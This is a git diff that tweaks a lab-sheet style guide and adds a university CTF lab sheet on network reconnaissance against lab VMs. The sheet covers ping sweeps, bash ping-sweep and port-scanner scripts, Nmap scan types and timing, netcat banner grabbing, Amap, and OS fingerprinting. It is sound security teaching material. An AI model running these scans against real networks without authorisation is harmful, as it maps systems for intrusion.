- **Edit highlights**: Yellow background with ✏️ icon
|
||||
|
||||
Block-level highlights will appear as styled boxes with appropriate colors and icons:
|
||||
- **Note blocks**: Light gray background with 📝 icon (for troubleshooting and explanations)
|
||||
- **Question blocks**: Teal background with ❓ icon (for self-study, log book, and reflection questions)
|
||||
- **Flag blocks**: Purple background with 🏁 icon (for CTF challenge tasks)
|
||||
|
||||
## ✅ Quality Checklist
|
||||
|
||||
@@ -334,7 +415,7 @@ Before finalizing a lab sheet, ensure:
|
||||
5. **VM/Environment context is marked** - Clear indication of which system/VM to use
|
||||
6. **Consistency** - Use the same highlighting style throughout the document
|
||||
7. **Appropriate level** - Don't over-highlight; only highlight truly important information
|
||||
8. **TOC links are working** - Check that all headings in the Table of Contents have proper markdown links that work correctly
|
||||
8. **TOC links are working** - Check that all headings in the Table of Contents have proper markdown links that don't contain any special characters
|
||||
|
||||
## 🔄 Process Summary
|
||||
|
||||
@@ -438,6 +519,24 @@ ls -la
|
||||
|
||||
**Rule**: Any brief explanation and any troubleshooting text that directly follows a command instruction should be formatted as a note block using `> Note:` to visually separate the explanation/troubleshooting information from the instruction.
|
||||
|
||||
### Before (Plain Text):
|
||||
```
|
||||
Self-study Question: What are the key differences between bind shells and reverse shells? Consider the network connectivity requirements for each approach.
|
||||
|
||||
Log Book Question: Document your findings from the vulnerability assessment, including which exploits were successful and why.
|
||||
|
||||
There is a flag to be found on a user's Desktop! Find and submit it to Hacktivity.
|
||||
```
|
||||
|
||||
### After (Highlighted):
|
||||
```
|
||||
> Question: What are the key differences between bind shells and reverse shells? Consider the network connectivity requirements for each approach.
|
||||
|
||||
> Question: Document your findings from the vulnerability assessment, including which exploits were successful and why.
|
||||
|
||||
> Flag: There is a flag to be found on a user's Desktop! Find and submit it to Hacktivity.
|
||||
```
|
||||
|
||||
### Common Processing Errors to Avoid
|
||||
|
||||
1. **Over-highlighting**: Don't highlight every instruction - focus on critical actions only
|
||||
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
691
_labs/introducing_attacks/5_scanning.md
Normal file
691
_labs/introducing_attacks/5_scanning.md
Normal file
@@ -0,0 +1,691 @@
|
||||
---
|
||||
title: "Information Gathering: Scanning"
|
||||
author: ["Z. Cliffe Schreuders", "Anatoliy Gorbenko", "Thalita Vergilio"]
|
||||
license: "CC BY-SA 4.0"
|
||||
overview: |
|
||||
Information gathering and network scanning are processes aimed at understanding the structure of a network and identifying potential vulnerabilities, and ensuring the overall security of the network. Scanning a critical stage for an attacker, since it can give them the information they need in order to launch an attack. By delving into this lab, you will acquire essential knowledge and practical skills necessary for both defensive and offensive security strategies
|
||||
|
||||
This lab provides an in-depth exploration of scanning techniques. You will learn how to perform ping sweeps to identify live hosts on a network, create your own ping sweep bash script, and use Nmap (a popular and powerful open source tool) for host discovery. You will also explore the world of port scanning, creating your own port scanner using a bash script, and conducting SYN port scans. Additionally, you will gain insights into service identification through banner grabbing and protocol analysis, and discover methods to detect the operating system of a remote system. By the end of this lab, you will be equipped with a comprehensive understanding of network scanning techniques and will have hands-on experience in executing these scans to assess the security of target systems.
|
||||
description: |
|
||||
Learn network scanning techniques including ping sweeps, port scanning, service identification, and OS detection using tools like Nmap and custom bash scripts. This lab covers reconnaissance and network mapping for penetration testing.
|
||||
tags: ["scanning", "nmap", "reconnaissance", "network-mapping", "penetration-testing", "ping-sweeps", "port-scanning"]
|
||||
categories: ["introducing_attacks"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1KScKw7M4Bt_FE5F_2tI6tnK1NrKNAJkyh5F2TpOh9hA/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
reading: "Chapter 2 Reconnaissance and Chapter 3 Scanning. Engebretson, P. (2011), The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy, Elsevier Inc. (ISBN: 978-1-59749-655-1) Available online via the library"
|
||||
cybok:
|
||||
- ka: "AB"
|
||||
topic: "Models"
|
||||
keywords: ["kill chains"]
|
||||
- ka: "MAT"
|
||||
topic: "Malicious Activities by Malware"
|
||||
keywords: ["cyber kill chain"]
|
||||
- ka: "NS"
|
||||
topic: "PENETRATION TESTING"
|
||||
keywords: ["PENETRATION TESTING - NETWORK MAPPING - FINGERPRINTING", "PENETRATION TESTING - NETWORK MAPPING - NMAP", "PENETRATION TESTING - NETWORK MAPPING - PING"]
|
||||
- ka: "SOIM"
|
||||
topic: "PENETRATION TESTING"
|
||||
keywords: ["PENETRATION TESTING - NETWORK MAPPING - RECONNAISSANCE", "PENETRATION TESTING - SOFTWARE TOOLS"]
|
||||
---
|
||||
|
||||
> "Give me six hours to chop down a tree and I will spend the first four sharpening the axe." \-- Abraham Lincoln
|
||||
|
||||
## General notes about the labs {#general-notes-about-the-labs}
|
||||
|
||||
Often the lab instructions are intentionally open ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun\!
|
||||
|
||||
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know ([via GitHub](https://github.com/cliffe/HacktivityLabSheets)) and we will try to address any issues.
|
||||
|
||||
## Preparation {#preparation}
|
||||
|
||||
==action: For all of the labs in this module, start by logging into Hacktivity.==
|
||||
|
||||
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven't already, have a read through.
|
||||
|
||||
==action: Make sure you are signed up to the module, claim a set of VMs for this lab, and start your VMs.==
|
||||
|
||||
Feel free to read ahead while the VMs are starting.
|
||||
|
||||
==VM: Interact with the Kali VM==. (Click the launch icon after the VMs have started):
|
||||
![VM Launch Icon][vm_launch_icon]
|
||||
==action: Login with username "kali", password "kali".==
|
||||
|
||||
==action: Start the Linux victim server.==
|
||||
|
||||
> Note: *You don't need to login to the target server VM or open it* (you don't need to know the login password), just start the VM.
|
||||
|
||||
==action: Note the IP address(es) of the Kali Linux system, using:==
|
||||
|
||||
```bash
|
||||
ip a
|
||||
```
|
||||
|
||||
## Introduction to scanning {#introduction-to-scanning}
|
||||
|
||||
Scanning is an active phase of an attack or security test, involving identifying IP addresses, ports, and services. Scanning is often conducted by network administrators or security specialists to get an understanding of and to map out a network. Scanning is also a critical stage for an attacker, since it can give them all the information they need in order to launch an attack. Once an attacker knows the IP address of a service, and the version of the software that the server is running, they can look up and use known attacks against the target. A well executed scanning stage is extremely important when looking for potential security problems.
|
||||
|
||||
## Ping sweeps for finding live hosts {#ping-sweeps-for-finding-live-hosts}
|
||||
|
||||
### Using ping {#using-ping}
|
||||
|
||||
The Ping command is used for network troubleshooting. Ping works by sending an Internet Control Message Protocol (ICMP) "echo request", to which *most* hosts will reply with an ICMP "echo response" (although Windows PC firewalls typically block incoming ping requests by default).
|
||||
|
||||
==action: Read the manual. **From a terminal on your kali VM**, run:==
|
||||
|
||||
```bash
|
||||
man ping
|
||||
```
|
||||
|
||||
==action: Read the synopsis and description, and press "q" to quit, when you are ready.==
|
||||
|
||||
> Note: The most basic use is "ping *destination*" (where *destination* is the IP address you want to test for a response).
|
||||
|
||||
==action: Ping your own Kali VM from Kali itself (with the IP address you noted earlier):==
|
||||
|
||||
```bash
|
||||
ping ==edit:Kali-IP-address==
|
||||
```
|
||||
|
||||
> Note: This doesn't make much sense, since Kali can respond without even sending network traffic beyond itself, but shows you how it responds when something replies to the ping request. Pinging can also be useful to tell if a system is online before attempting to connect via another means.
|
||||
|
||||
> Note: Since you haven't specified how many times to send the echo request, ping keeps going until you press Ctrl-C, at which point ping will present some statistics about how long it took for the remote system (or, in this case, the VM) to reply.
|
||||
|
||||
==action: Run a command to send 3 echo requests.== ==hint: "man ping", and read through the available options.==
|
||||
|
||||
==VM: On your Kali Linux VM (attacker)==, ==action: note the first three octets of your IP address of the bridged network connection (run "hostname -I")==. For example, ==edit:10.123.123==.
|
||||
|
||||
Suppose you want to identify all the live hosts in a given network range (which is often the first step after an attacker has found an IP range using Whois). One way to achieve this is to send an echo request to each IP address, and see which ones reply.
|
||||
|
||||
To check all IPs starting with "10.*123*.*123*" (which can usually be written as 10\.*123*.*123*.1-254 or 10\.*123*.*123*.0/24, although the ping command does not understand this):
|
||||
|
||||
You could manually run ping for each IP address. ==action: Run (replacing the first three octets with that of your IP address, as noted above):==
|
||||
|
||||
```bash
|
||||
ping -c 1 -W 1 ==edit:10.123.123==.1
|
||||
```
|
||||
|
||||
```bash
|
||||
ping -c 1 -W 1 ==edit:10.123.123==.2
|
||||
```
|
||||
|
||||
```bash
|
||||
ping -c 1 -W 1 ==edit:10.123.123==.3
|
||||
```
|
||||
|
||||
```bash
|
||||
ping -c 1 -W 1 ==edit:10.123.123==.4
|
||||
```
|
||||
|
||||
```bash
|
||||
ping -c 1 -W 1 ==edit:10.123.123==.5
|
||||
```
|
||||
|
||||
You could continue for all 254 IP addresses on this subnet. This is obviously not very efficient... ==tip: It is easy enough to write your own ping sweep tool as a Bash script==.
|
||||
|
||||
### Creating a ping sweep bash script {#creating-a-ping-sweep-bash-script}
|
||||
|
||||
Remember, a Bash script is basically a file containing commands that you could otherwise run directly in a Linux Bash shell (terminal) prompt. You may be surprised to learn that you can actually do all kinds of programming tricks at the command prompt, such as writing loops.
|
||||
|
||||
==action: Run:==
|
||||
|
||||
```bash
|
||||
vi pingsweep.sh
|
||||
```
|
||||
|
||||
==action: Press "i" to enter insert mode, and enter these lines in the file (you can leave out the descriptive # comments, if you like):==
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# if the script is not started with one argument, tell them how it is used
|
||||
if [ $# -ne 1 ]
|
||||
then
|
||||
# print a message to the screen describing how the script should be used
|
||||
echo "Usage: `basename $0` {three octets of IP address, for example 192.168.0}"
|
||||
# exit with an error (1)
|
||||
exit 1
|
||||
fi # end of if
|
||||
|
||||
# define a variable and set it to the value passed as the first argument ($1)
|
||||
ip_address_start=$1
|
||||
# for loop, where "i" starts at 1 and each time increments up to 254
|
||||
for i in {1..254}
|
||||
do
|
||||
# run ping with one echo request and short timeout for the IP address
|
||||
# and pipe to grep to only show if it replies
|
||||
ping -c 1 -W 1 $ip_address_start.$i | grep 'from'
|
||||
done
|
||||
```
|
||||
|
||||
==action: Press "Esc" to exit insert mode, and type ":wq" to write to the file and quit vi.==
|
||||
|
||||
> Note: Read the comments to understand this ping sweep script.
|
||||
|
||||
==action: Set your script so it can be executed, then run your script:==
|
||||
|
||||
```bash
|
||||
chmod +x pingsweep.sh
|
||||
```
|
||||
|
||||
```bash
|
||||
./pingsweep.sh
|
||||
```
|
||||
|
||||
> Note: If you get an error message, edit the file and find where you have made a mistake. Check that the spaces around the if statements are exactly as above (that is, "if \[ $\# \-ne 1 \]").
|
||||
|
||||
==action: Run your script with the first three octets of your local network's IP address (as you noted earlier):==
|
||||
|
||||
```bash
|
||||
./pingsweep.sh ==edit:10.123.123==
|
||||
```
|
||||
|
||||
> Hint: To see what chmod does, try running "ls \-la" beforehand. You should see the names of the files within the folder each with a series of letters to the left. An 'r' indicates the file can be read, 'w' means it's writable, and 'x' means it's executable. The above command adds the 'x' flag to your file, allowing it to be executed.
|
||||
|
||||
This may take awhile, but should discover the IP addresses of the other hosts in the lab. While you wait for the results, you could open a new console tab (Ctrl-Shift-T) and continue.
|
||||
|
||||
> Question: How long will this take to complete? ==hint: Consider what the "-W 1" command argument to ping means. Why does this take so long?==
|
||||
|
||||
Assuming you have the other VM running, you have at least one other system on that network range.
|
||||
|
||||
## Nmap {#nmap}
|
||||
|
||||
The most popular tool for scanning is, without a doubt, Nmap.
|
||||
|
||||
==action: Read the man page:==
|
||||
|
||||
```bash
|
||||
man nmap
|
||||
```
|
||||
|
||||
From the man page:
|
||||
|
||||
> "Nmap ("Network Mapper") is an open source tool for network exploration and security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. While Nmap is commonly used for security audits, many systems and network administrators find it useful for routine tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime." -- (by Insecure.Com LLC, licensed under the Creative Commons Attribution License version 3.0)
|
||||
|
||||
==action: When you are ready, press "q" to quit.==
|
||||
|
||||
### Ping sweeps and host discovery using Nmap {#ping-sweeps-and-host-discovery-using-nmap}
|
||||
|
||||
==action: Do a ping sweep of the lab using nmap (as before, replace the first three octets of the IP address with that of the Kali system)==. The \-PE option tells nmap to send a ping echo request to the target. The "-sn" specifies that you don't want Nmap to do a port scan (described later below).
|
||||
|
||||
```bash
|
||||
nmap -sn -PE ==edit:10.123.123==.1-254
|
||||
```
|
||||
|
||||
This will be completed fairly quickly, since Nmap does not wait for each response before sending a request to another computer. You should see the same IP addresses returned as those from your Bash script above. If you don't, check the IP range you are scanning.
|
||||
|
||||
> Note: Often firewalls are configured to block ICMP echo requests. In this case, an ICMP "timestamp request" may still be allowed through, and also reveals whether the host is available.
|
||||
|
||||
Nmap's default host discovery does a bit more than just send an echo request. From the man page: "The default host discovery done with \-sn consists of an ICMP echo request, TCP SYN to port 443, TCP ACK to port 80, and an ICMP timestamp request by default."
|
||||
|
||||
```bash
|
||||
sudo nmap -sn ==edit:10.123.123==.1-254
|
||||
```
|
||||
|
||||
> Note: Read the output from the above commands, and note that the MAC address is also reported. MAC addresses are related to the network interface card, and can also reveal information, since they include prefixes based on the vendor, such as "Cisco Systems" or "Apple".
|
||||
|
||||
The responses to the commands above also include DNS name resolution against each IP address. This by itself can be very informative. ==action: To only list the hosts along with their hostnames run a "List scan"[^1]:==
|
||||
|
||||
```bash
|
||||
nmap -sL ==edit:10.123.123==.1-254
|
||||
```
|
||||
|
||||
> Note: The above List scan does not actually test whether the host is responding.
|
||||
|
||||
> Tip: This command may not detect any up hosts in the lab environment because there is no DNS server there
|
||||
|
||||
==action: Use nmap to discover the IP addresses of the VM(s)==. You should see at least two live hosts, one of which will be your Kali Linux VM (the attacker), the other(s) your target(s).
|
||||
|
||||
==action: Note the IP addresses of the other system(s).==
|
||||
|
||||
## Ports and port scanning {#ports-and-port-scanning}
|
||||
|
||||
After establishing a list of live hosts that are targets to attack, the next stage for an attacker or security tester is to examine the *attack surface*; that is, what there is that could be attacked on each of those systems. Any way that a remote computer accepts communication has the potential to be attacked.
|
||||
|
||||
All TCP and UDP traffic (which accounts for almost all network traffic over the Internet) involves the use of port numbers to establish which applications are communicating. For example, a server could be running the Apache web server program, which will typically listen to port 80 for connections. Why port 80?: Many different types of servers have standard ports numbers, so for example if I want to access a web page my web browser knows to connect to port 80, while if I want to access email or FTP on the same server, those programs know what port to connect to. The list of all officially registered port numbers can be found here (check port 80 to see the details): [http://www.iana.org/assignments/port-numbers](http://www.iana.org/assignments/port-numbers)
|
||||
|
||||
On a Linux system there is also a file containing a list of these, plus other common uses (look at port 80 again \- the details should match those above):
|
||||
|
||||
```bash
|
||||
less /etc/services
|
||||
```
|
||||
|
||||
A server *binds* to a port, and listens for connections from a client.
|
||||
|
||||
Any open port on a target system is a service that we could test the security of.
|
||||
|
||||
==action: Manually you can check whether a port is open on a system, by connecting using Telnet:==
|
||||
|
||||
```bash
|
||||
telnet ==edit:IP-address== 80
|
||||
```
|
||||
|
||||
Where *IP-address* is the IP address you noted earlier.
|
||||
|
||||
> Note: If the connection succeeds you see the message "Connected to \[...\]" (press "." and press Enter and the server will reply and then close the connection), if it stays on "Trying \[...\]" for a while, then the port is not accessible to you (so you know it is probably closed).
|
||||
|
||||
### Creating a port scanner using a bash script {#creating-a-port-scanner-using-a-bash-script}
|
||||
|
||||
Using (new versions of) Bash you can easily connect to ports using TCP IP.
|
||||
|
||||
==action: Start a netcat listener:==
|
||||
|
||||
```bash
|
||||
nc -lvp 4444
|
||||
```
|
||||
|
||||
> Tip: Depending on the version of netcat, you may need to run "nc \-l 4444"
|
||||
|
||||
Leave that running, and from another terminal (hint: press Ctl-Shift-T), ==action: send a message using the cat command:==
|
||||
|
||||
```bash
|
||||
cat \>/dev/tcp/localhost/4444
|
||||
```
|
||||
|
||||
Type in a message, and check the other tab to see that it was sent through. Ctl-D to end (only press it once or you may close your terminal window).
|
||||
|
||||
> Note: If the above does not work, then your version of Bash does not support making TCP connections.
|
||||
|
||||
You can check whether the command was successful by reading the Bash variable $?, which logs the exit status of the last command executed.
|
||||
|
||||
```bash
|
||||
echo $?
|
||||
```
|
||||
|
||||
==action: If you try to connect to a port that is not open:==
|
||||
|
||||
```bash
|
||||
echo \>/dev/tcp/localhost/7777
|
||||
```
|
||||
|
||||
The $? will report failure:
|
||||
|
||||
```bash
|
||||
echo $?
|
||||
```
|
||||
|
||||
> Question: What value does $? have when the connection succeeds?
|
||||
|
||||
> Question: What value does $? have when the connection fails?
|
||||
|
||||
Now that we know how to check for open ports using Bash, we can create our own Bash script port scanner:
|
||||
|
||||
==action: Run:==
|
||||
|
||||
```bash
|
||||
vi portscanner.sh
|
||||
```
|
||||
|
||||
==action: Press "i" to enter insert mode, and enter these lines in the file (you can leave out the comments, if you like):==
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
if [ $# -ne 1 ]
|
||||
then
|
||||
echo "Usage: `basename $0` {IP address or hostname}"
|
||||
exit 1
|
||||
fi
|
||||
# define a variable and set it to the value passed as the first argument ($1)
|
||||
ip_address=$1
|
||||
# write the current date to the output file
|
||||
echo `date` >> $ip_address.open_ports
|
||||
# for loop, where "i" starts at 1 and each time increments up to 65535
|
||||
for port in {1..65535}
|
||||
do
|
||||
# use a short timeout, and write to the port on the IP address
|
||||
timeout 1 echo >/dev/tcp/$ip_address/$port
|
||||
# if that succeeded (checks the return value stored in $?)
|
||||
if [ $? -eq 0 ]
|
||||
then
|
||||
# append results to a file named after the date and host
|
||||
echo "port $port is open" >> "$ip_address.open_ports"
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
==action: Press "Esc" to exit insert mode, and type ":wq" to write to the file and quit vi.==
|
||||
|
||||
> Note: **You may want to save a copy of your script**. You can copy and paste a copy from your VMs.
|
||||
|
||||
==action: Set your script so it can be executed:==
|
||||
|
||||
```bash
|
||||
chmod +x portscanner.sh
|
||||
```
|
||||
|
||||
==action: Run your script on your own system:==
|
||||
|
||||
```bash
|
||||
./portscanner.sh ==edit:IP-address-of-Kali-VM==
|
||||
```
|
||||
|
||||
This may take a while, and may display a lot of failed attempts to connect, but should discover all the open ports, and create a file in your working directory (where you are) with a list of open ports.
|
||||
|
||||
==action: Have a look at the resulting file:==
|
||||
|
||||
```bash
|
||||
less ==edit:IP-address==.open_ports
|
||||
```
|
||||
|
||||
==action: When you are ready, press "q" to quit.==
|
||||
|
||||
> Tip: Extra challenge: write your own port scanner in another programming language of your choice. Look online, there are lots of examples you can use for help.
|
||||
|
||||
## TCP three-way handshake {#tcp-three-way-handshake}
|
||||
|
||||
Many port scanners are quite simple, and do more than is strictly necessary to know whether a port is open. In order to establish a TCP connection and start sending and receiving data, a full three way handshake takes place.
|
||||
|
||||
![][tcp_handshake]
|
||||
TCP three-way handshake
|
||||
|
||||
As illustrated above, 1\) the client starts by sending a TCP packet that includes the port that it wants to talk to (say port 80), and the SYN flag set, meaning that it wants to start a new connection. 2\) If the server accepts the connection (there is indeed a program listening on that port), then it responds with the SYN and ACK flags set, meaning it accepts the connection. 3\) The client can now complete the connection by sending a packet with the ACK flag set.
|
||||
|
||||
If the port is closed it will send a RST at stage 2\. If there is a firewall that is filtering connections to the port, then the client may not receive any reply.
|
||||
|
||||
### SYN port scans {#syn-port-scans}
|
||||
|
||||
Notice that if all we are interested in is whether the port is open, we can skip the third step, since step 2 already tells us whether the port is open. This approach to port scanning is known as a SYN scan. However, this requires the ability to write to the raw network directly rather than using libraries that establish connections for us. On Linux this means the program needs some extra privileges, such as being run by the root user[^2].
|
||||
|
||||
## Nmap port scanning {#nmap-port-scanning}
|
||||
|
||||
Nmap is primarily a port scanner, and is quite possibly the most advanced port scanner that exists. It has many port scanning features, such as the ability to do SYN scans or full TCP connect scans, but also can do some advanced analysis.
|
||||
|
||||
==VM: From Kali Linux==:
|
||||
|
||||
Run a simple nmap port scan against your own system:
|
||||
|
||||
nmap localhost
|
||||
|
||||
Have a look through and make sure you understand the output.
|
||||
|
||||
Again from the Nmap man page:
|
||||
> “The state is either open, filtered, closed, or unfiltered. Open means that an application on the target machine is listening for connections/packets on that port. Filtered means that a firewall, filter, or other network obstacle is blocking the port so that Nmap cannot tell whether it is open or closed. Closed ports have no application listening on them, though they could open up at any time. Ports are classified as unfiltered when they are responsive to Nmap's probes, but Nmap cannot determine whether they are open or closed. Nmap reports the state combinations open\|filtered and closed\|filtered when it cannot determine which of the two states describe a port.”
|
||||
|
||||
### Nmap port scanning techniques {#nmap-port-scanning-techniques}
|
||||
|
||||
> “As a novice performing automotive repair, I can struggle for hours trying to fit my rudimentary tools (hammer, duct tape, wrench, etc.) to the task at hand. When I fail miserably and tow my jalopy to a real mechanic, he invariably fishes around in a huge tool chest until pulling out the perfect gizmo which makes the job seem effortless. The art of port scanning is similar. Experts understand the dozens of scan techniques and choose the appropriate one (or combination) for a given task. Inexperienced users and script kiddies, on the other hand, try to solve every problem with the default SYN scan. Since Nmap is free, the only barrier to port scanning mastery is knowledge. That certainly beats the automotive world, where it may take great skill to determine that you need a strut spring compressor, then you still have to pay thousands of dollars for it.” \-- Nmap man page.
|
||||
|
||||
Open the Nmap man page (“man nmap”) and scroll down to the title “PORT SCANNING TECHNIQUES”. Read the entries for:
|
||||
|
||||
* \-sS (TCP SYN scan)
|
||||
|
||||
* \-sT (TCP connect scan)
|
||||
|
||||
* \-sU (UDP scans)
|
||||
|
||||
* \-sN; \-sF; \-sX (TCP NULL, FIN, and Xmas scans)
|
||||
|
||||
Run a SYN scan on your own system:
|
||||
|
||||
```bash
|
||||
nmap -sS localhost
|
||||
```
|
||||
|
||||
Now, based on what you have learned:
|
||||
|
||||
==action: Run a SYN scan against the IP address(es) you noted earlier.==
|
||||
|
||||
==action: Run a UDP scan against the IP address(es). Any interesting results? Why are UDP scans unreliable? (If this takes a while, double check the man page to find out why)==
|
||||
|
||||
==action: Run an Xmas scan against the IP address(es). Did they work? Why?==
|
||||
|
||||
> Question: What operating systems do you think the system(s) have?
|
||||
|
||||
> Question: What services appear to be running on each of the VMs?
|
||||
|
||||
You may wish to read about the other port scanning techniques that Nmap supports.
|
||||
|
||||
### Nmap port specification {#nmap-port-specification}
|
||||
|
||||
By default Nmap scans 1000 “interesting ports” (of the possible 65535); however, you can tell Nmap which ports to scan.
|
||||
|
||||
Open the Nmap man page (“man nmap”) and scroll down to the title “PORT SPECIFICATION AND SCAN ORDER”. Read the entries for:
|
||||
|
||||
* \-p *port ranges* (Only scan specified ports)
|
||||
|
||||
* \-F (Fast (limited port) scan)
|
||||
|
||||
* \-r (Don't randomize ports)
|
||||
|
||||
Run:
|
||||
|
||||
```bash
|
||||
nmap -p 80-85 ==edit:IP-address==
|
||||
```
|
||||
|
||||
Where *IP-address* is one of the VM IP addresses.
|
||||
|
||||
Look through the output and note which ports are open and which are closed.
|
||||
|
||||
Based on what you have learned:
|
||||
|
||||
==action: Run a SYN scan against the VM(s), but only checking port 80.==
|
||||
|
||||
==action: Run a TCP connect scan against the VM(s), checking only the most likely ports.==
|
||||
|
||||
==action: Run a SYN scan against the VM(s), but don't randomise the port order during scanning.==
|
||||
|
||||
==action: Run a SYN scan against the VMs, checking every possible port (this may take a while - check the man page if you're not sure how to scan all ports).== ==hint: There is a service you may have missed earlier, and a familiar vulnerability! Find and submit the flag to Hacktivity!==
|
||||
|
||||
### Nmap timing and performance {#nmap-timing-and-performance}
|
||||
|
||||
Open the Nmap man page (“man nmap”) and scroll down to the title “TIMING AND PERFORMANCE”. Read the entry for:
|
||||
|
||||
* \-T paranoid\|sneaky\|polite\|normal\|aggressive\|insane (Set a timing template)
|
||||
|
||||
Run:
|
||||
|
||||
```bash
|
||||
nmap -T5 ==edit:IP-address==
|
||||
```
|
||||
|
||||
Where *IP-address* is one of the VM IP addresses.
|
||||
|
||||
Based on what you have learned:
|
||||
|
||||
==action: Run a SYN scan of ports 80-85 against one of the VMs, using the "sneaky speed".==
|
||||
|
||||
> Question: Why would anyone choose this speed?
|
||||
|
||||
==action: Run a scan of all possible ports as fast as possible.==
|
||||
|
||||
> Question: Why might it not be a good idea to choose "insane" speed for scans across the Internet?
|
||||
|
||||
## Service identification {#service-identification}
|
||||
|
||||
In order to know what attacks could be successful against a system, we usually need to know more than which ports are open. For example, knowing that port 80 is open tells us that some software on the other system is listening to that port number, and that we can connect to that port, and can probably send data to it, and may get a reply. Since port 80 is almost always used by web servers hosting websites, it is very likely that the software on the other side is Apache, IIS, or one of the many other web servers available. However, in order to know what types of attacks are likely to succeed, we want to know as much as we can about the software running on the server.
|
||||
|
||||
### Banner grabbing {#banner-grabbing}
|
||||
|
||||
The simplest way of determining what software is running on a port, is to connect and check whether the response tells us what software is running. Many services present a banner whenever a new connection is established, which often states what software version the server is running. Collecting this information is known as *banner grabbing*.
|
||||
|
||||
==action: Manually connect to port 21 on the VM IP address(es) you noted earlier:==
|
||||
|
||||
```bash
|
||||
nc ==edit:IP-address== 21
|
||||
```
|
||||
|
||||
Netcat (nc) is similar to Telnet, in that it can be used for manual raw TCP communication.
|
||||
|
||||
==action: Press Ctrl-C to kill the process after you receive the response.==
|
||||
|
||||
> Note: Note the software version this reports (if any).
|
||||
|
||||
==action: Manually connect to port 80 on the VM IP address(es) you noted earlier:==
|
||||
|
||||
```bash
|
||||
nc ==edit:IP-address== 80
|
||||
```
|
||||
|
||||
(enter "." and press the Enter key a few times)
|
||||
|
||||
> Note: The output from a web server often contains the line "Server:"... Use this to note the software on port 80 for each VM IP, if available.
|
||||
|
||||
Based on what you have learned:
|
||||
|
||||
> Question: What is port 21 used for? If you're not sure, try connecting to that port on the Kali system and compare the response to the result(s) from the VM(s).
|
||||
|
||||
> Question: What software and versions of software are running on those systems?
|
||||
|
||||
### Automated banner grabbing {#automated-banner-grabbing}
|
||||
|
||||
If there are a number of ports to banner grab from, it is more efficient to use an automated approach.
|
||||
|
||||
Netcat can be used to banner grab over a range:
|
||||
|
||||
```bash
|
||||
nc ==edit:IP-address== 1-2000 -w 1
|
||||
```
|
||||
|
||||
The above command will connect to each port from 1 to 2000 (with a timeout of 1 second), and display any responses.
|
||||
|
||||
==action: Connect to each of the open ports you detected earlier, and view any banners.==
|
||||
|
||||
> Flag: **Find and submit flags to Hacktivity!**
|
||||
|
||||
> Hint: One of the flags is encoded using a common encoding method, and you will need to decode it.
|
||||
|
||||
> Tip: Extra challenge: update your port scanner with your own code to do banner grabbing. ==hint: You want to read from each port, rather than write to them.==
|
||||
|
||||
### Protocol analysis and fingerprinting {#protocol-analysis-and-fingerprinting}
|
||||
|
||||
> Question: Consider this: Why can't you trust this information?
|
||||
|
||||
A: A problem with banner grabbing is that the software could be lying\! Just because a web server is telling you that it is Apache or IIS, does not guarantee that it is.
|
||||
|
||||
The solution to this problem (from an attacker/security tester's perspective) is the use of protocol analysis / fingerprinting of the service to determine what software is listening to the port. The way this works is by interacting with the server, sending different kinds of requests (also known as *triggers*), and comparing the way the server responds with a database of fingerprints.
|
||||
|
||||
The software that made this a popular security testing approach was Amap. Amap has two main features: banner grabbing (using the "-B" flag), and protocol analysis (using "-A").
|
||||
|
||||
==VM: On your attacking system (Kali Linux):==
|
||||
|
||||
==action: Run Amap protocol analysis on each VM web server (repeat for each IP address):==
|
||||
|
||||
```bash
|
||||
amap -A ==edit:IP-address== 80
|
||||
```
|
||||
|
||||
This will tell you what protocol is in use on the port (HTTP), and an idea of what software is used.
|
||||
|
||||
> Note: Amap is now somewhat outdated, and has been superseded by Nmap's service and version detection. Some security testers prefer to use both, to compare results.
|
||||
|
||||
==action: Open the Nmap man page ("man nmap") and scroll down to the title "SERVICE AND VERSION DETECTION". Read the text after the title, and the entry for:==
|
||||
|
||||
* \-sV (Version detection)
|
||||
|
||||
==action: Run Nmap service and version detection on each of the VMs web servers (repeat for each IP address):==
|
||||
|
||||
```bash
|
||||
nmap -sV -p 80 ==edit:IP-address==
|
||||
```
|
||||
|
||||
==action: Attempt detection for the 1000 ports that are scanned by default (repeat for each IP address):==
|
||||
|
||||
```bash
|
||||
nmap -sV ==edit:IP-address==
|
||||
```
|
||||
|
||||
Based on what you have learned:
|
||||
|
||||
> Question: What web servers (and versions) are running on the VM(s)?
|
||||
|
||||
> Question: What other services are running?
|
||||
|
||||
### Operating system detection {#operating-system-detection}
|
||||
|
||||
Knowing the versions of software on a remote system is often enough to start looking for vulnerabilities. However, another important piece of information is knowing what operating system it is running. We need to know this before launching an exploit (so we can choose the correct payload), or just to get a better idea of whether that version of the software is actually vulnerable.
|
||||
|
||||
Nmap can do some clever analysis of the way the system communicates to detect the operating system running on the remote system. The official RFC (request for comment) specifications that define the way protocols such as TCP works contain some ambiguity (not 100% clear or prescriptive), so each OS works slightly differently in the way it handles network packets. Nmap detects the OS by sending lots of specially crafted packets to open and closed port on the system, and analyses the response[^3].
|
||||
|
||||
==action: Open the Nmap man page ("man nmap") and scroll down to the title "OS DETECTION". Read the text after the title, and the entry for:==
|
||||
|
||||
* \-O (Enable OS detection)
|
||||
|
||||
==action: Run Nmap OS detection on each of the VMs web servers (repeat for each IP address):==
|
||||
|
||||
```bash
|
||||
sudo nmap -O ==edit:IP-address==
|
||||
```
|
||||
|
||||
## Some other important Nmap features {#some-other-important-nmap-features}
|
||||
|
||||
We will also cover some other advanced Nmap features in other labs.
|
